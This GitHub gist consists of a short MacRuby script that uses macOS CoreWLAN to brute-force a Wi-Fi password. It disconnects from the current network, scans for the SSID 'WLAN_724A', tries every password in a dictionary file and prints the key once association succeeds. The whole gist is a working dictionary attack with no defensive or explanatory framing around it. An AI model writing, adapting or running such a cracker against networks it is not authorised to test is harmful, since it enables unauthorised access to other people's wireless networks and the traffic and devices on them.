Skip to content

Instantly share code, notes, and snippets.

@mikz
Created January 19, 2012 13:24
Show Gist options
  • Save mikz/1640040 to your computer and use it in GitHub Desktop.
Save mikz/1640040 to your computer and use it in GitHub Desktop.
framework "CoreWLAN"
iface = CWInterface.interface
iface.disassociate
wlans = iface.scanForNetworksWithParameters(nil, error: nil)
wlan = wlans.find {|w| w.ssid == "WLAN_724A"}
p [wlan.bssid, wlan.ssid, wlan.securityMode, wlan.wlanChannel.channelNumber]
keys = File.read("./dictionary.txt").lines.to_a.reverse
keys.each_with_index do |key, index|
key.chop!
puts "CURRENT KEY: #{key} (#{index+1}/#{keys.size})"
if iface.associateToNetwork(wlan, password: key, error: nil)
puts "KEY FOUND: #{key}"
exit
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment